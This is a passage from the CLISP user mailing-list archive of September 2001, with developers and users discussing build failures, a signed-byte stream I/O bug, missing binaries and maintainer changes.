(8.9.3+Sun/8.9.1) id MAA14043; Sat, 15 Sep 2001 12:08:58 -0600 (MDT) Message-Id: <200109151808.MAA14043@aztec.santafe.edu> X-Authentication-Warning: aztec.santafe.edu: rms set sender to rms@aztec using -f From: Richard Stallman To: haible@ilog.fr CC: clisp-list@lists.sourceforge.net In-reply-to: <15266.12764.644974.829990@honolulu.ilog.fr> (message from Bruno Haible on Fri, 14 Sep 2001 18:35:40 +0200 (CEST)) Reply-to: rms@gnu.org References: <15266.12764.644974.829990@honolulu.ilog.fr> Subject: [clisp-list] Re: William Schelter Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 15 11:10:01 2001 X-Original-Date: Sat, 15 Sep 2001 12:08:58 -0600 (MDT) One side consequence of William Schelter's death is that we are looking for new maintainers for GCL and Maxima. If anyone wants to volunteer, please contact me. From Matise@biology.rutgers.edu Wed Sep 19 11:16:52 2001 Received: from nel-exchange.rutgers.edu ([128.6.130.4]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15jltz-00018j-00 for ; Wed, 19 Sep 2001 11:16:51 -0700 Received: by nel-exchange.rutgers.edu with Internet Mail Service (5.5.2653.19) id ; Wed, 19 Sep 2001 14:16:03 -0400 Message-ID: <32786300104BD311AC7E00508B6707D0934E86@nel-exchange.rutgers.edu> From: Matise@Biology.Rutgers.Edu To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C14137.245FA820" Subject: [clisp-list] looking for CLISp binaries, FTP site dead Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 19 11:17:03 2001 X-Original-Date: Wed, 19 Sep 2001 14:16:03 -0400 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C14137.245FA820 Content-Type: text/plain; charset="iso-8859-1" I am trying to obtain CLISP binaries for some of the more recent version of CLISP. I understand that the usual FTP site for these: ftp://clisp.cons.org/pub/lisp/clisp/binaries/ is not currently working. The Sourceforge site seems to only have source code, not binaries. have I missed something at Sourceforge? Does anyone know if the old pub/lisp/clisp/binaries/ directory will be available again, and if so, when? Thanks much, Tara * * * * * * * * * * * * * * * * * * * * * * * * Tara C. Matise, Ph.D. Associate Research Professor Department of Genetics 732-445-3125 (P) Rutgers University 732-445-4972 (F) matise@biology.rutgers.edu http://compgen.rutgers.edu Nelson Biological Laboratories - B211 604 Allison Road Piscataway, NJ 08854-8082 ------_=_NextPart_001_01C14137.245FA820 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable looking for CLISp binaries, FTP site dead

I am trying to obtain CLISP binaries for some = of the more recent version of CLISP.  I understand that the usual = FTP site for these:

ftp://clisp.cons.org/pub/lisp/clisp/binaries/=0D
is not currently working.  The = Sourceforge site seems to only have source code, not binaries.  = have I missed something at Sourceforge?  Does anyone know if the = old pub/lisp/clisp/binaries/ directory will be available again, and if = so, when?

Thanks much,

Tara

*  *  *  *  *  = *  *  *  *  *  *  *  *  *  = *  *  *  *  *  *  *  *  *  = * 
Tara C. Matise, = Ph.D.           = Associate Research Professor       =
Department of = Genetics       732-445-3125 (P)
Rutgers = University          &n= bsp;   732-445-4972 (F)
           &n= bsp;  matise@biology.rutgers.edu
           &n= bsp;  http://compgen.rutgers.edu

Nelson Biological Laboratories - = B211
604 Allison Road
Piscataway, NJ  08854-8082

------_=_NextPart_001_01C14137.245FA820-- From reti@ai.mit.edu Thu Sep 20 08:40:41 2001 Received: from life.ai.mit.edu ([128.52.32.80]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15k5wO-0005Na-00 for ; Thu, 20 Sep 2001 08:40:40 -0700 Received: from VESUVIUS-VLM.AI.MIT.EDU (vesuvius-vlm [128.52.33.22]) by life.ai.mit.edu (8.9.3/8.9.3/AI2.13/ai.master.life:2.21) with SMTP id LAA07895; Thu, 20 Sep 2001 11:40:38 -0400 (EDT) From: Kalman Reti To: clisp-list@lists.sourceforge.net cc: Reti@ai.mit.edu Message-ID: <20010920154000.1.RETI@VESUVIUS-VLM.AI.MIT.EDU> Subject: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 20 08:41:04 2001 X-Original-Date: Thu, 20 Sep 2001 11:40 -0400 [I'm a Lisp expert, not a C expert, so forgive any infelicities of expression in the report below.] I tried to follow the unix/INSTALL instructions to compile clisp but I had a couple of serious problems (as well as a few minor ones). I'm using release 5.1 of Tru64 (nee Dec nee OSF) Unix with the native (non GNU) tools. The first problem I encountered was that the compiler generated an error for the extern inline declarations in file lispbibl for input_stream_p and output_stream-p, with the text of the error message being "There is no definition for the inline function named ... in this compilation unit." I noticed that there was already a conditionalized turning off of the inline declaration in lispbibl, but only if both GNU and UNIXCONF were undefined. Removing the dependency on UNIXCONF in the source got me past this error by removing the inline declaration altogether, but I wonder if that is the correct fix. The second problem is that the typedef in stdbool.h typedef enum { false = 0, true = 1 } _Bool; gets an error "In this declaraction, "enum" cannot be combined with "_Bool"." I took out the typedef to get around this problem. With those two changes, the rest of the build proceeded with only warnings. However, some of the warnings looked troublesome. (There were also lots that looked benign, including lots of complaints about return values for functions declared void.) The troublesome ones all had to do with types (e.g. line, isearch_terimnators, etc.) reducing to unsigned char not matching char because they differed in the signed/unsigned attribute. I have the log file of the build, in case anyone is interested in looking at it. Finally, although the build completed and I had a working image, make testsuite confusingly said that tests failed and I should look in .erg files for the errors, but there were no .erg files! [Later] I found one in the suite/ subdirectory (streamslong.erg). Its contents are: Form: (LOOP FOR SIZE FROM 2 TO 40 DO (BIN-STREAM-TEST :SIZE SIZE :TYPE 'SIGNED-BYTE)) CORRECT: NIL CLISP: ERROR I tried it by hand, and, sure enough, that test fails. (with-open-file (o "/tmp/test" :direction :output :element-type'(signed-byte 2)) (write-byte 1 o) (write-byte 0 o) (write-byte -1 o) (write-byte -2 o)) writes a file which (with-open-file (i "/tmp/test" :direction :input :element-type'(signed-byte 2)) (loop repeat 4 collect (read-byte i))) returns as (1 0 1.7014s38 1.70139s38) !! From peter.wood@worldonline.dk Thu Sep 20 10:21:16 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15k7Vi-00056d-00 for ; Thu, 20 Sep 2001 10:21:14 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id E66CFB4E0 for ; Thu, 20 Sep 2001 19:21:10 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f8KHDAn27313; Thu, 20 Sep 2001 19:13:10 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20010920191310.A7015@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Mon, Sep 17, 2001 at 07:30:45PM -0400 Subject: [clisp-list] Re: CLISP 2.28 pretest Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 20 10:22:02 2001 X-Original-Date: Thu, 20 Sep 2001 19:13:10 +0200 On Mon, Sep 17, 2001 at 07:30:45PM -0400, Sam Steingold wrote: > please get the current CVS sources and test them. > unless bugs are reported, this will become 2.28. Hi, Building on a GNU/Linux system: Linux localhost.localdomain 2.4.5 #1 Fri Jun 22 23:12:44 CEST 2001 i586 unknown With the following configure command (it works with 2.27): ./configure TEST-2.28 --with-export-syscalls --with-module=bindings/linuxlibc6 --with-module=wildcard --with-module=regexp --with-module=clx/new-clx --prefix=/usr --with-readline --with-gettext --with-dynamic-ffi I got the following error: make[1]: Leaving directory `/home/prw/clisp/TEST-2.28/bindings/linuxlibc6' test -d wildcard || ../src/lndir ../modules/wildcard wildcard if test -f wildcard/configure -a '!' -f wildcard/config.status ; then cd wildcard ; ./configure --cache-file=`echo wildcard/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache ; fi configure: loading cache ../config.cache configure: error: `CFLAGS' has changed since the previous run: configure: former value: configure: current value: -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DEXPORT_SYSCALLS -DDYNAMIC_FFI configure: error: changes in the environment can compromise the build configure: error: run `make distclean' and/or `rm ../config.cache' and start over make: *** [wildcard] Error 1 Regards, Peter From sds@gnu.org Thu Sep 20 10:47:06 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15k7uk-0001Rt-00 for ; Thu, 20 Sep 2001 10:47:06 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA20634; Thu, 20 Sep 2001 13:47:03 -0400 (EDT) X-Envelope-To: To: Kalman Reti Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc References: <20010920154000.1.RETI@VESUVIUS-VLM.AI.MIT.EDU> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010920154000.1.RETI@VESUVIUS-VLM.AI.MIT.EDU> Message-ID: Lines: 93 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 20 10:48:01 2001 X-Original-Date: 20 Sep 2001 13:45:58 -0400 > * In message <20010920154000.1.RETI@VESUVIUS-VLM.AI.MIT.EDU> > * On the subject of "[clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc" > * Sent on Thu, 20 Sep 2001 11:40 -0400 > * Honorable Kalman Reti writes: > > [I'm a Lisp expert, not a C expert, so forgive any infelicities of > expression in the report below.] > > I tried to follow the unix/INSTALL instructions to compile clisp but I had a > couple of serious problems (as well as a few minor ones). I'm using release > 5.1 of Tru64 (nee Dec nee OSF) Unix with the native (non GNU) tools. > > The first problem I encountered was that the compiler generated an error for the > extern inline declarations in file lispbibl for input_stream_p and > output_stream-p, with the text of the error message being "There is no definition > for the inline function named ... in this compilation unit." this is fixed in the current development sources (since 2001-08-05) > The second problem is that the typedef in stdbool.h > > typedef enum { false = 0, true = 1 } _Bool; > > gets an error "In this declaraction, "enum" cannot be combined with "_Bool"." > I took out the typedef to get around this problem. this has been fixed on 2001-08-05 too (C++ compilation patch from Bruno) > With those two changes, the rest of the build proceeded with only warnings. > However, some of the warnings looked troublesome. (There were also lots that > looked benign, including lots of complaints about return values for functions > declared void.) this is because we do not know your compiler-specific declaration for non-returning functions (see nonreturning_function in lispbibl.d). patches are welcome. > The troublesome ones all had to do with types (e.g. line, isearch_terimnators, > etc.) reducing to unsigned char not matching char because they differed in the > signed/unsigned attribute. I have the log file of the build, in case anyone is > interested in looking at it. these are harmless. > Finally, although the build completed and I had a working image, congratulations! do you mind creating a binary distribution for your platform? > make testsuite > > confusingly said that tests failed and I should look in .erg files for the errors, > but there were no .erg files! [Later] I found one in the suite/ subdirectory > (streamslong.erg). Its contents are: > > Form: (LOOP FOR SIZE FROM 2 TO 40 DO (BIN-STREAM-TEST :SIZE SIZE :TYPE 'SIGNED-BYTE)) > CORRECT: NIL > CLISP: ERROR > > I tried it by hand, and, sure enough, that test fails. what about (LOOP FOR SIZE FROM 3 TO 40 DO (BIN-STREAM-TEST :SIZE SIZE :TYPE 'SIGNED-BYTE)) is the problem only with '(signed-byte 2)? > (with-open-file (o "/tmp/test" :direction :output :element-type'(signed-byte 2)) > (write-byte 1 o) > (write-byte 0 o) > (write-byte -1 o) > (write-byte -2 o)) > > writes a file which > > (with-open-file (i "/tmp/test" :direction :input :element-type'(signed-byte 2)) > (loop repeat 4 collect (read-byte i))) > > returns as > > (1 0 1.7014s38 1.70139s38) !! ouch! this is weird... can you try 2.26 (2001-05-23)? (I fixed a big bug in non-whole byte i/o on 2001-06-27, I wonder if that patch was at fault...) -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Daddy, what does "format disk c: complete" mean? From reti@ai.mit.edu Thu Sep 20 14:36:29 2001 Received: from life.ai.mit.edu ([128.52.32.80]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15kBUi-0003FB-00 for ; Thu, 20 Sep 2001 14:36:29 -0700 Received: from RAINIER-VLM.AI.MIT.EDU (rainier-vlm [128.52.39.170]) by life.ai.mit.edu (8.9.3/8.9.3/AI2.13/ai.master.life:2.21) with SMTP id RAA00527; Thu, 20 Sep 2001 17:36:26 -0400 (EDT) From: reti@ai.mit.edu Subject: Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc To: sds@gnu.org, reti@ai.mit.edu cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: <20010920213650.0.RETI@RAINIER-VLM.AI.MIT.EDU> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 20 14:37:05 2001 X-Original-Date: Thu, 20 Sep 2001 17:36 -0400 Date: Thu, 20 Sep 2001 13:45 EDT From: Sam Steingold [stuff elided] what about (LOOP FOR SIZE FROM 3 TO 40 DO (BIN-STREAM-TEST :SIZE SIZE :TYPE 'SIGNED-BYTE)) is the problem only with '(signed-byte 2)? I tried this form: (loop for size from 2 to 40 do (handler-case (bin-stream-test :size size :type'signed-byte) (error (e) (format t "~&Case ~d got error ~a" size e)))) and got this result: Case 2 got error * [(SIGNED-BYTE 2)] -10 != 1.70139s38 Case 3 got error * [(SIGNED-BYTE 3)] -100 != 1.70136s38 Case 4 got error * [(SIGNED-BYTE 4)] 0-111 != 1.70132s38 Case 5 got error * [(SIGNED-BYTE 5)] 0-1111 != 1.70122s38 Case 6 got error * [(SIGNED-BYTE 6)] -1 1011 != 1.70106s38 Case 7 got error * [(SIGNED-BYTE 7)] -11 1000 != 1.70068s38 Case 8 got error * [(SIGNED-BYTE 8)] 0-111 0001 != 1.69995s38 Case 9 got error * [(SIGNED-BYTE 9)] 0-1001 1101 != 01.69937s38 Case 10 got error * [(SIGNED-BYTE 10)] -1 0001 0110 != 0001.6978s38 Case 11 got error * [(SIGNED-BYTE 11)] -10 0111 1011 != 0001.69317s38 Case 12 got error * [(SIGNED-BYTE 12)] 0-100 1100 1110 != 000001.68545s38 Case 13 got error * [(SIGNED-BYTE 13)] 000-10 1111 1111 != 0000001.69146s38 Case 14 got error * [(SIGNED-BYTE 14)] -1 0000 1000 0001 != 00000001.64657s38 Case 15 got error * [(SIGNED-BYTE 15)] 000-1011 1011 0101 != 000000001.66251s38 Case 16 got error * [(SIGNED-BYTE 16)] 0-110 0100 1100 1100 != 00000000001.36646s38 Case 17 got error * [(SIGNED-BYTE 17)] 00-111 1001 1111 1110 != 000000000001.29602s38 Case 18 got error * [(SIGNED-BYTE 18)] 000-111 1010 0011 0101 != 0000000000001.29531s38 Case 19 got error * [(SIGNED-BYTE 19)] 0000-110 0010 1010 0010 != 00000000000001.37365s38 Case 20 got error * [(SIGNED-BYTE 20)] 0-101 1101 0111 1111 0111 != 00000000000000003.0742s36 Case 21 got error * [(SIGNED-BYTE 21)] 0-1001 1000 1100 1111 0010 != 00000000000000002.40828s35 Case 22 got error * [(SIGNED-BYTE 22)] 00-1111 0111 0110 1000 1111 != 000000000000000003.98997s33 Case 23 got error * [(SIGNED-BYTE 23)] 0000-111 1000 0110 0110 0100 != 00000000000000000009.8033s35 Case 24 got error * [(SIGNED-BYTE 24)] 0-111 0011 1010 1000 1000 1011 != 0000000000000000000002747.66s0 Case 25 got error * [(SIGNED-BYTE 25)] 0-1101 0100 1000 0111 1111 1111 != 000000000000000000001.89833s-26 Case 26 got error * [(SIGNED-BYTE 26)] 00-1000 1110 1111 0100 0011 1010 != 00000000000000000000001.59605s-5 Case 27 got error * [(SIGNED-BYTE 27)] -10 0111 1101 1111 1111 1100 1011 != 0000000000000000000000002.00162s0 Case 28 got error * [(SIGNED-BYTE 28)] 00-10 1010 0011 0011 1100 1011 0110 != 0000000000000000000000001.28264s-11 Case 29 got error * [(SIGNED-BYTE 29)] 000-11 1100 1111 0100 1010 1110 0100 != 000000000000000000000000007.0619s-25 Case 30 got error * [(SIGNED-BYTE 30)] -1 0101 0111 0000 1110 1100 0011 0100 != 000000000000000000000000000017651.0s0 Case 31 got error * [(SIGNED-BYTE 31)] 0-1 1001 0100 1101 0001 0000 1001 0010 != 00000000000000000000000000001.08946s15 Case 32 got error * [(SIGNED-BYTE 32)] 00000-1111 1001 1010 1110 0111 1111 1001 != 0000000000000000000000000000004.07493s-9 Case 33 got error * [(SIGNED-BYTE 33)] 0-1011 1110 0011 1000 1001 0011 1000 1000 != 00000000000000000000000000000001.68082s21 Case 34 got error * [(SIGNED-BYTE 34)] 00-1001 0110 1110 1001 0110 0000 1011 0101 != 000000000000000000000000000000009.9978s-33 Case 35 got error * [(SIGNED-BYTE 35)] 000-1111 1001 0000 0000 1100 1001 1111 1101 != 0000000000000000000000000000000001.03019s38 NIL > (with-open-file (o "/tmp/test" :direction :output :element-type'(signed-byte 2)) > (write-byte 1 o) > (write-byte 0 o) > (write-byte -1 o) > (write-byte -2 o)) > > writes a file which > > (with-open-file (i "/tmp/test" :direction :input :element-type'(signed-byte 2)) > (loop repeat 4 collect (read-byte i))) > > returns as > > (1 0 1.7014s38 1.70139s38) !! ouch! this is weird... can you try 2.26 (2001-05-23)? (I fixed a big bug in non-whole byte i/o on 2001-06-27, I wonder if that patch was at fault...) 2.26 passed the tests according to the script, but my hand test above returned the same bogus values as above! Under both 2.26 and 2.27 reading the same file back as '(unsigned-byte 2) returns (1 0 3 2), which seems right. From sds@gnu.org Thu Sep 20 14:41:12 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15kBZH-0003qb-00 for ; Thu, 20 Sep 2001 14:41:11 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA04201; Thu, 20 Sep 2001 17:41:07 -0400 (EDT) X-Envelope-To: To: reti@ai.mit.edu Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc References: <20010920213650.0.RETI@RAINIER-VLM.AI.MIT.EDU> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010920213650.0.RETI@RAINIER-VLM.AI.MIT.EDU> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 20 14:42:02 2001 X-Original-Date: 20 Sep 2001 17:39:45 -0400 > * In message <20010920213650.0.RETI@RAINIER-VLM.AI.MIT.EDU> > * On the subject of "Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc" > * Sent on Thu, 20 Sep 2001 17:36 -0400 > * Honorable reti@ai.mit.edu writes: > > 2.26 passed the tests according to the script, but my hand test above > returned the same bogus values as above! the binary i/o test was added after the bug was fixed. thanks for testing. can you give me access to your machine so that I will be able to debug the problem? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Our business is run on trust. We trust you will pay in advance. From rurban@x-ray.at Fri Sep 21 07:24:15 2001 Received: from mailrelay.tu-graz.ac.at ([129.27.3.7] helo=mailrelay.tugraz.at) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15kRDx-0002Kz-00 for ; Fri, 21 Sep 2001 07:24:13 -0700 Received: from x-ray.at (chello212186199154.sc-graz.chello.at [212.186.199.154]) by mailrelay.tugraz.at (8.12.0/8.12.0) with ESMTP id f8LENaO4019549; Fri, 21 Sep 2001 16:23:37 +0200 (MEST) Message-ID: <3BAB4D7E.177397A5@x-ray.at> From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: de,en MIME-Version: 1.0 To: Matise@Biology.Rutgers.Edu CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] looking for CLISp binaries, FTP site dead References: <32786300104BD311AC7E00508B6707D0934E86@nel-exchange.rutgers.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AMaViS-perl11-milter (http://amavis.org/) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 21 07:25:04 2001 X-Original-Date: Fri, 21 Sep 2001 15:23:58 +0100 > Matise@Biology.Rutgers.Edu schrieb: > I am trying to obtain CLISP binaries for some of the more recent version of > CLISP. I understand that the usual FTP site for these: > ftp://clisp.cons.org/pub/lisp/clisp/binaries/ > is not currently working. The Sourceforge site seems to only have source > code, not binaries. have I missed something at Sourceforge? Does anyone > know if the old pub/lisp/clisp/binaries/ directory will be available again, > and if so, when? sourceforge recently turned off ftp we have to use now their own homebrewn download script. From sds@gnu.org Fri Sep 21 11:10:46 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15kUlB-0001oD-00 for ; Fri, 21 Sep 2001 11:10:45 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA17966; Fri, 21 Sep 2001 14:10:36 -0400 (EDT) X-Envelope-To: To: reti@ai.mit.edu Cc: clisp-list@lists.sourceforge.net, Bruno Haible Subject: Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc References: <20010921170920.2.RETI@RAINIER-VLM.AI.MIT.EDU> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010921170920.2.RETI@RAINIER-VLM.AI.MIT.EDU> Message-ID: Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 21 11:11:04 2001 X-Original-Date: 21 Sep 2001 14:09:28 -0400 > * In message <20010921170920.2.RETI@RAINIER-VLM.AI.MIT.EDU> > * On the subject of "Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc" > * Sent on Fri, 21 Sep 2001 13:09 -0400 > * Honorable reti@ai.mit.edu writes: > > [mailing list removed] please do not do that because mailing lists are archived and my personal mail is not. > (loop for size from 2 to 40 do (handler-case (bin-stream-test :size size :type'signed-byte) (error (e) (format t "~&Case ~d got error ~a" size e)))) > > and got this result: > > Case 2 got error > * [(SIGNED-BYTE 2)] -10 != 1.70139s38 you also got errors until case 35, i.e., bignums are broken too. > The problem appears to be in the following code from the rd_by_iu_I routine in stream.d/c: > > return negfixnum(wbitm(intLsize)+(oint)wert); > > The wbitm appears to be adding 0x100000000 to the correct signed C > value in wert, and then negfixnum is adding that to 0x4200000000 to > produce 0x44xxxxxxxx. If I change it back to 0x43xxxxxxxx, I get the > right answer, so whatever bit 0x100000000 is (the mark bit?), it is > erroneously getting added in twice apparently changing the type code. interesting. what if you replace the line with return negfixnum((oint)wert); what does "make check" say? thanks. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on OK, so you're a Ph.D. Just don't touch anything. From pat@bluedog.net Fri Sep 21 12:40:40 2001 Received: from host-24-215-7-20.tekstreme.com ([24.215.7.20] helo=ns.thinkdog.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15kWA9-0001H8-00 for ; Fri, 21 Sep 2001 12:40:37 -0700 Received: from bluedog.net (voodoo.gsfc.nasa.gov [128.183.190.20]) by ns.thinkdog.com (8.9.3/8.9.3) with ESMTP id PAA20945 for ; Fri, 21 Sep 2001 15:38:20 -0400 Message-ID: <3BAB96D0.70609@bluedog.net> From: Patrick Coleman Reply-To: pat@bluedog.net Organization: BlueDog User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1 X-Accept-Language: en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] clisp on OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 21 12:41:02 2001 X-Original-Date: Fri, 21 Sep 2001 15:36:48 -0400 Hi, I'm trying to build clisp on MAC OS X. When I run the configure script it complains that it can't figure out what the system type is. Can anyone tell me what I should use on a MAX OS X machine? Thanks. Pat. From lin8080@freenet.de Fri Sep 21 18:39:33 2001 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15kblU-0007wd-00 for ; Fri, 21 Sep 2001 18:39:32 -0700 Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout1.freenet.de with esmtp (Exim 3.32 #2) id 15kblQ-00008j-00 for clisp-list@lists.sourceforge.net; Sat, 22 Sep 2001 03:39:28 +0200 Received: from b7764.pppool.de ([213.7.119.100] helo=freenet.de) by mx2.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.32 #2) id 15kblQ-0004eJ-00 for clisp-list@lists.sourceforge.net; Sat, 22 Sep 2001 03:39:28 +0200 Message-ID: <3BABEB2C.45AA38B7@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: [clisp-list] html-doc-zip Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 21 18:40:03 2001 X-Original-Date: Sat, 22 Sep 2001 03:36:44 +0200 hallo in: Documentation about Common Lisp (resource.htm) I found a link to: (CLtL2 in HTML [Mark Kantrowitz]) http://www.cs.cmu.edu/afs/cs.cmu.edu/project/ai-repository/ai/html/cltl/cltl2.html links to (middle of page): http://www-2.cs.cmu.edu/afs/cs.cmu.edu/project/ai-respository/ai/lang/lisp/doc/cltl/cltl_ht.tgz where I download the htm-manual: cltl_ht.tgz (1.716.285) inside there is a: cltl_ht.tar (15.09.06-04:19) and winzip is not able to extrakt it. I guess it is the "" at the beginn of the 